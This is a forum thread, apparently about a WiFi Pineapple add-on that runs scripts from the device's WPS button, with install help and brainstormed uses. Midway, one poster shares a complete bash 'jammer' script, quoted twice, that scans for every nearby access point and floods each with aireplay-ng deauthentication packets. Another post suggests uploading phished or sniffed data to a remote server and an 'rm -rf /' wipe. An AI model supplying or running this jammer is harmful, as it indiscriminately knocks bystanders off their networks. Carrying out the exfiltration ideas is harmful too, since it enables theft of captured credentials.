Jump to content

Wps Selector - Script Executions!


DAV
 Share

Recommended Posts

Hi guys,

i have created a nice little extension for the pineapple:)

using the WPS button, you can select among 16 different scripts to execute, and run them without logging in to the device!

a single tap

on the WPS button will browse through the options, and will use the leds as indicators (it uses binary form, using 4 leds -- > 0101 means option no. 5)

then a long press (more the 2 seconds)

will execute the right script (and even play a nice led animation)

to install, copy it to you pinapple, and run

./setWPS.sh enable

check out the _settings.conf and _execute.sh to control some parameters, and insert the scripts you wish to execute

tell me what you think! :)

WPS selector

Link to comment
Share on other sites

Hi guys,

i have created a nice little extension for the pineapple:)

using the WPS button, you can select among 16 different scripts to execute, and run them without logging in to the device!

a single tap

on the WPS button will browse through the options, and will use the leds as indicators (it uses binary form, using 4 leds -- > 0101 means option no. 5)

then a long press (more the 2 seconds)

will execute the right script (and even play a nice led animation)

to install, copy it to you pinapple, and run

./setWPS.sh enable

check out the _settings.conf and _execute.sh to control some parameters, and insert the scripts you wish to execute

tell me what you think! :)

WPS selector

Sounds sick! Checking this first thing when I wake up! ;D

Link to comment
Share on other sites

Hi guys,

i have created a nice little extension for the pineapple:)

using the WPS button, you can select among 16 different scripts to execute, and run them without logging in to the device!

a single tap

on the WPS button will browse through the options, and will use the leds as indicators (it uses binary form, using 4 leds -- > 0101 means option no. 5)

then a long press (more the 2 seconds)

will execute the right script (and even play a nice led animation)

to install, copy it to you pinapple, and run

./setWPS.sh enable

check out the _settings.conf and _execute.sh to control some parameters, and insert the scripts you wish to execute

tell me what you think! :)

WPS selector

hi im new here, so can u please tell me if i got it right or not

1- unzip the file

2- copy it to root

3- installing stewps.sh using putty by the command "opkg install"

dud i get it right?

Link to comment
Share on other sites

you don't need to use opkg. just unzip the file to where you want to install it (lets say it's /www/pineapple/user)

so it should look something like this:

cd /www/pineapple/user/wpsSelector
./setWPS.sh enable

that's it

Link to comment
Share on other sites

you don't need to use opkg. just unzip the file to where you want to install it (lets say it's /www/pineapple/user)

so it should look something like this:

cd /www/pineapple/user/wpsSelector
./setWPS.sh enable

that's it

im trying, but i cant. it just gives me "permission denied" message

Link to comment
Share on other sites

im trying, but i cant. it just gives me "permission denied" message

need to make the script executable first.

run

chmod 777 ./setWPS.sh

then it should work ;)

Link to comment
Share on other sites

Hi guys,

i have created a nice little extension for the pineapple:)

using the WPS button, you can select among 16 different scripts to execute, and run them without logging in to the device!

a single tap

on the WPS button will browse through the options, and will use the leds as indicators (it uses binary form, using 4 leds -- > 0101 means option no. 5)

then a long press (more the 2 seconds)

will execute the right script (and even play a nice led animation)

to install, copy it to you pinapple, and run

./setWPS.sh enable

check out the _settings.conf and _execute.sh to control some parameters, and insert the scripts you wish to execute

tell me what you think! :)

WPS selector

LEDs for indication FTW! Thank you so much DAV for coding this up - can't wait to try it out.

telot

Link to comment
Share on other sites

dudes, have someone tried it yet? i want to hear your feedback :)

I think what will spur people to action is to come up with ideas for so many scripts. Right now I just haven't seen the need for so many scripts. I've got the Buttons package (by Whistlemaster) configured to toggle DNS spoof on two seconds of pressing, and to turn off all the lights and start tcpdump (my led verification that tcpdump is now running is the lights going out) on four to six seconds. I really don't have much need for scripts beyond that. I'm using an external cellular router, so theres no 3G dongle to configure or need for reverse ssh shell (I just forward port 22 to the pineapple on the router and ssh right in easy mode style). So lets brainstorm some script ideas by button press:

Change the dns spoof page between nyancat and rickroll would be cool

One to start airdrop'ing would be very cool - though airdropping is currently not working on the mark4

A script to scp your tcpdump file to a remote predefined server would be very handy

A script to upload your phished/ngrep'd/urlsnarf'd stuff up to a remote server - all at once or individually

Maybe a nuker script that rm -rf's / in case you're in a jam or something :)

Lets hear some other ideas to inspire people to try out DAVs binary script! I know I will be trying it for the tcpdump file upload today :)

telot

Link to comment
Share on other sites

I built a little wifi jammer using aireplay deauth, it kills all wifi in the immidiate area..:) killing it with the wps button.

Uploading stuff is quite a good idea! Let me think about some cool applications to that:)

Link to comment
Share on other sites

I built a little wifi jammer using aireplay deauth, it kills all wifi in the immidiate area..:) killing it with the wps button.

Uploading stuff is quite a good idea! Let me think about some cool applications to that:)

Excellent DAV! My noob ass always had problems piping airodump-ng's results. Would you mind sharing your deauth script? I'd love to test it out

telot

Link to comment
Share on other sites

this is my jammer code, works nicely.. :)


#!/bin/bash                                                      

INTERFACE=wlan0
MON_INTERFACE=mon.wlan0
AMOUNT=10000

if [ "$#" -ne "1" ]; then  
	echo "Jammer:"
	echo "usage: ./jam.sh [ start | stop ]"
	exit 0
fi

if [ "$1" == "start" ]
then

killall aireplay-ng 2> /dev/null &
killall aireplay-ng 2> /dev/null &
killall aireplay-ng 2> /dev/null &

ifconfig $INTERFACE down
ifconfig $INTERFACE up                                                            

for i in `iwlist $INTERFACE scan | grep Address | sed 's/^ *//g' | cut -d" " -f5`; do
	echo "Jamming ${i}" 
	aireplay-ng -0 $AMOUNT --ignore-negative-one -D -a ${i} $MON_INTERFACE &
done

fi

if [ "$1" == "stop" ]
then

killall aireplay-ng 2> /dev/null &
killall aireplay-ng 2> /dev/null &
killall aireplay-ng 2> /dev/null &                              

echo "disabled"
fi


Link to comment
Share on other sites

Thanks DAV! Can't wait to try it out!

A9935A-lg.jpg

^me after running this script

EDIT: I tried it and thank you for putting the default amount over 9000. I like my surrounding APs nuked into oblivion.

This script would be perfect when connecting two pineapples together...or if I can get my damn alfa awus036h working on the mark4...and to do this of course we'd have to work in a whitelist to the script so it doesn't take down the attacking pineapple.

telot

Edited by telot
Link to comment
Share on other sites

  • 1 month later...

this is my jammer code, works nicely.. :)


#!/bin/bash                                                      

INTERFACE=wlan0
MON_INTERFACE=mon.wlan0
AMOUNT=10000

if [ "$#" -ne "1" ]; then  
	echo "Jammer:"
	echo "usage: ./jam.sh [ start | stop ]"
	exit 0
fi

if [ "$1" == "start" ]
then

killall aireplay-ng 2> /dev/null &
killall aireplay-ng 2> /dev/null &
killall aireplay-ng 2> /dev/null &

ifconfig $INTERFACE down
ifconfig $INTERFACE up                                                            

for i in `iwlist $INTERFACE scan | grep Address | sed 's/^ *//g' | cut -d" " -f5`; do
	echo "Jamming ${i}" 
	aireplay-ng -0 $AMOUNT --ignore-negative-one -D -a ${i} $MON_INTERFACE &
done

fi

if [ "$1" == "stop" ]
then

killall aireplay-ng 2> /dev/null &
killall aireplay-ng 2> /dev/null &
killall aireplay-ng 2> /dev/null &                              

echo "disabled"
fi


how do i set up your code?

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...